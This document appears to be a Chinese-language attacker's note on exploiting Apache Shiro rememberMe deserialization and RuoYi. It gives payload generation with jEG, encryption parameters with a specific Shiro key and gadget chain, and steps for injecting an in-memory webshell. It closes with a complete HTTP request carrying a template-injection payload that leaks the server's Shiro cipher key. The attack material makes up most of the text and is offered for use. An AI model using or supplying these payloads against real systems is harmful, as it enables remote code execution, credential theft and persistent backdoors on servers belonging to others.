Shiro反序列化

具体的原理分析就不做了,很简单,就是一个aes加密的cookie反序列化。

一般而言,爆破Shiro Key来获取密钥,如果能爆破出来基本就能利用。

Cookie过长的解决

网上的解决方式无非都是压缩Payload、使用ClassLoader一类的,这类操作方式比较复杂;其实有一种快速简便的方法,即使用jEG。

生成Payload

首先在jEG中生成一个Code模式、利用类型为JDK_AbstractTranslet的类:

800

Shiro加密

然后我们将这个文件使用Shiro Key加密为对应的Cookie,推荐使用woodpecker的Shiro-550插件自动加密,使用参数:

yso_gadget=CommonsCollections10  
yso_cmd=class_file:/Users/evalexp/NetworkUtils.class  
shiro_key=kPH+bIxk5D2deZiIxcaaaA==  
aes_model=CBC

然后就能得到输出,如果没有这样的插件,那就自己动手吧,通过Yso生成字节码后手动加密。

绕过利用

最后生成内存马的字节码,然后将rememberMe的Cookie设为加密的Payload,HTTP参数填jEG生成提示的参数,值填入内存马的Base64,即可直接打入内存马。

若依获取Shiro Key

POST /monitor/cache/getNames HTTP/1.1
Host: 10.10.200.55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.200.55/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3f9bb9ce-4252-4706-a8cd-a9790cbaee2c
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 205
 
fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x